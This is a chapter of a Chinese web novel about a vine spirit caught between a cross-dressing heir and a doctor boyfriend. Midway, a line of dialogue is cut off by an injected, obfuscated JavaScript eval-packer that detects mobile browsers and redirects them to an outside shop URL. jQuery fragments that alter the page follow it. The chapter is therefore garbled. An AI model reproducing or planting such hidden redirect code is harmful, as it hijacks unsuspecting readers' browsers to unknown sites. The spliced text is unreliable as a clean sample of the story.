落日余晖也消失在了天际,没有一丝一毫的光芒再洒进来。昏暗之中,镜子里倒映出来的秦雨眠也是模模糊糊的。

    束缚解开,得到喘息的菟丝子歇了一口气。

    秦雨眠这次给她拿的一条一字肩。比起前面那一条要更为优雅,也更宽松喘得上气。

    倏地,冰凉的触感落在脖子上、锁骨上。

    菟丝子抬眼看向镜子,海洋一样纯粹的宝石项链被坠在脖子前。

    “这是特意为棉棉准备的。”

    “棉棉喜欢吗?”

    菟丝子是根藤,又不是真的人类,对亮晶晶的宝石只有短暂的欣赏,达不到喜欢。

    亮晶晶的东西她每天早上都能看见,树叶上的露水更漂亮更晶莹剔透。

    她嫌弃得说:“我才不喜欢你的东西,真难看。”

    字眼是嫌弃的,但是大概是被换礼服折腾得没什么力气,语气都是没有攻击力,棉花糖一样袭击过来。

    菟丝子拽了一下没能把项链拽下来,只能作罢。不然她是要趾高气扬丢在地上的。

    “棉棉真可爱。”秦雨眠一点都不计较菟丝子讲的话,然而靠在她一字肩裸.露在外的肩膀上,洋溢着醉人的笑意,顺势伸手把她鬓边的碎发给捡起来。

    除了第二件,还有第三件第四件第五件。

    一旦菟丝子说自己不想穿了,秦雨眠脸上的笑容就会消失。没有了盈盈的笑脸,原本就美得具有侵略性的脸庞给菟丝子带来的只有压迫感。

    尤其是狐狸眼平静无波后,在房间内灯光的映射下,冰冷得诡异而吓人。

    菟丝子默默地咽了咽口水,配合秦雨眠的穿搭艺术。

    她实在是太讨厌秦雨眠了!!

    第八条是鱼尾裙,曳地的裙摆在房间内厚实的地毯上铺展开来,点缀在上面的细钻在室内灯光的照耀下点缀着点点的星光。

    鱼尾裙是裹.胸的,纤秾合度骨肉亭匀?,如同一株亭亭玉立的荷花,菡萏葳蕤。

    新换上的项链是带着细碎的银制链条流苏,流苏垂下来,点缀在洁白无瑕的玉山两峰之间。

    菟丝子脑袋上的花苞头也被拆了下来,烫得卷翘,落在左侧,发上别了一个钻石发夹。

    她刚开始还会对着镜子自我欣赏,现在累得看都不想看。

    菟丝子失去勃勃生机般坐在公主床上,一动不动。眼皮子往下耷拉,睫毛眨动,往下扇着。

    “棉棉困了的话,可以先睡一会儿。”秦雨眠轻轻推了下菟丝子,她惯性地往后倒了下去,陷入被子之中。

    特意将室内空调的温度调整到最低,再把被子推给苏棉。

    菟丝子两条胳膊被吹得冰冰凉凉的,摸到温暖赶忙钻了起来。

    和陆尘光在一起就是这样的。短短三天,菟丝子已经习惯了自己找热源。

    别墅隔音很好,不过秦雨眠知道时间差不多了,陆尘光应该是要找过来的。

    本来秦雨眠只是打算让陆尘光看到,可不打算做些更为亲密的行为,担心吓到菟丝子。

    不过......

    眼尾挑起,看着今天第二次主动投入自己怀中的小姑娘,秦雨眠毫不客气地揽过了她的腰肢,把人直接带入自己怀中。

    侧身避开压倒菟丝子的角度翻滚,躺到了她的另外一侧去。

    由于被子没有被他拉过来,菟丝子只能一直躲在他的怀中,寻着热源挤他。

    在菟丝子的印象里,秦雨眠是个明艳四射的大小姐,所以她的胸膛不会是硬挺弹性的。上次摸到的大概是错觉,她应该和自己一样软绵绵的。

    所以同样的热源同样的结实胸膛,迷迷糊糊地叫她代入了陆尘光。宽肩窄腰,她双手环过去,嘴里嘟囔。

    秦雨眠凑近一听,才知道她说的是:哥哥。

    宛如梦境成真般将人抱在怀里,反而渴求更多。尤其清楚菟丝子喊的人是谁后,心下莫名燃起火苗,恨不得把陆尘光丢海里去。

    他收紧掌心,将人拢得更近,鼻息之间是菟丝子身上淡淡的气息,像是绿叶青草,清新得找不到替代品,却能叫人溺死在其中。

    把菟丝子平躺放好,双臂支撑于上方,目光带着侵略性,一寸寸扫过她的眉眼、脖颈、锁骨......

    比起闭着眼睛的苏棉,他更希望她能睁开眼睛。

    看到他不是陆尘光后,苏棉会是什么反应。

    像是那天在宴会上,灯光熄灭之际的惊慌失措吗?怯弱的眼睛氤氲着水雾,宛如大海上孤若无依的只点小船。

    不知道这一姿.势.维持了多久,秦雨眠有些轻微的喘.息。

    温暖可以接受,但是太热菟丝子也受不了。

    迷蒙之中,她闭着眼睛挥手,想把吐息的热源打散。热源没有随她的心意离开,菟丝子眉头紧蹙,鼻息吐气表达自己微弱的不满。

    “砰——”

    房间的大门没有上锁,只是轻轻阖着。此时被人踢开,往两侧翻在墙面上。

    金丝边框的眼镜之后,丹凤眼飞速扫视房间,在看到秦雨眠的所作所为后,陆尘光大步流星走来,居高临下看着床上的他和苏棉。

    秦雨眠从床上下来,光脚踩在地毯上。

    他身高并不算低,胸膛拉开的衣服大大咧咧敞开,没有女性的伪装,只有一片结实的男性胸膛。

    “陆医生已经和棉棉分手了,怎么大晚上还不请自来跑到我家里来?”

    秦雨眠的假发也摘了下来,这会儿站在陆尘光面前的,是原原本本一个俊美到妖冶的男人。

    “损坏了我的门,陆医生可是准备好赔偿了。”

    “还好房间里铺了地毯,减轻了声音,不然把棉棉吵醒就不好了。”

    “棉棉可是很喜欢我这里呢。”

    一而再再而三的“棉棉”,叫陆尘光垂下的手臂青筋冒起。他侧眸看到还在睡梦中的苏棉,软嫩的脸肉陷在床单上,微红的痕迹印在上面。忽然之间,那点戾气都消失殆尽。

    “秦小姐哪里听的谣言,我和棉棉还没分手。”

    “就算是棉棉和我分手,她喜欢的也不会是一个女人。”

    “我是该喊你秦小姐呢?还是秦先生?

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17767894|209794||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    “不知道秦家老宅的那位,知不知道自己嫌弃多年的孙女就是一直想要孙子。”

    “秦小姐和秦老爷子的关系这么差,就算是他知道了,应当也只是更为生气。”

    几句话之间,让秦雨眠对于他的妒火转化为怒火。

    眼睁睁看着陆尘光单臂将苏棉抱起,他却没有阻止。

    “我只是一个普通的医生,并不想因为女朋友再和秦小姐见下一次面。”

    越是温和平静,越让秦雨眠想要一拳将他鼻梁上架着的眼镜打掉。

    陆尘光要是真的只是一个“普通”的医生,那他得重新开始定义“普通”这两个字了。

    目前还没到和陆尘光撕开脸面的时候。

    望着他抱着苏棉离开,秦雨眠眼中愈发的冷,如同悬了几把开了刃的刀剑一样。

    回到市区的大平层,菟丝子身上那件流光溢彩的高定鱼尾裙被随手丢到客厅去,而后被翻来覆去洗了个干干净净。

    白天睡得多,晚上又睡了一会儿,到了半夜就异常的精神。

    她以为自己从睡觉那一刻开始就是和陆尘光在一起的,对于自己怎么从秦雨眠那里离开没什么兴趣。菟丝子踢踢躺在边上的男人,又推了推他,“陆尘光,我饿了。”

    “嗯?”小夜灯应声而亮,陆尘光揉了揉眉眼看向她。

    刚从梦境中抽身的男人和平日里的温润如玉不太一样,没有眼镜片的反光,丹凤眼锐利的视线就这么落在了菟丝子的身上。

    藤缩了缩脖子,改为轻轻拉过陆尘光的手掌,小心翼翼地揉了揉上面的指节,怯生生地:“哥哥,我饿了,你起来做饭好吗?”

    他忽地曲起上半身倾向菟丝子,冷香混着热气,紧紧包裹住菟丝子,掠夺她呼吸清新空气的机会。

    “棉棉今天去了哪里?”

    两只手抵在陆尘光的胸前,腰肢酥软没使上力气。菟丝子只好实话实说,“去了秦雨眠的家里。”

    “我可讨厌秦雨眠了。”她是想带点气势出来的,不过在这个时间点的陆尘光面前,一丝傲气都凝聚不出来,只剩下了属于菟丝子本身的怯怯。

    “嗯。讨厌下次不用见他。”

    “他最近会很忙,没时间来打扰你。”

    菟丝子懵懵地点点头。

    陆尘光为什么会知道秦雨眠接下去很忙?

    好奇心只是一飘而过,菟丝子没有细想也压根不放在心上。

    “哥哥,你吃夜宵吗?”她两个爪子又推改为扒拉在陆尘光的胸膛上,昂起脑袋,小脸嫩生生看着他,语气是想到人类食物的欢乐。

    “给你下碗面吃。”陆尘光彻底坐起来。

    菟丝子紧随其后,小尾巴一样跟在他身后进厨房。

    陆尘光看过来,她举起手说,“哥哥,我看着你学习,下次我也下碗面给你吃。”

    菟丝子就是说说而已,压根没有要进修人类厨艺的打算。她就是睡多了这会儿精力旺盛,找点事情做。

    她是乱说的,陆尘光倒是听进去了,意味深长,“嗯,等着棉棉。”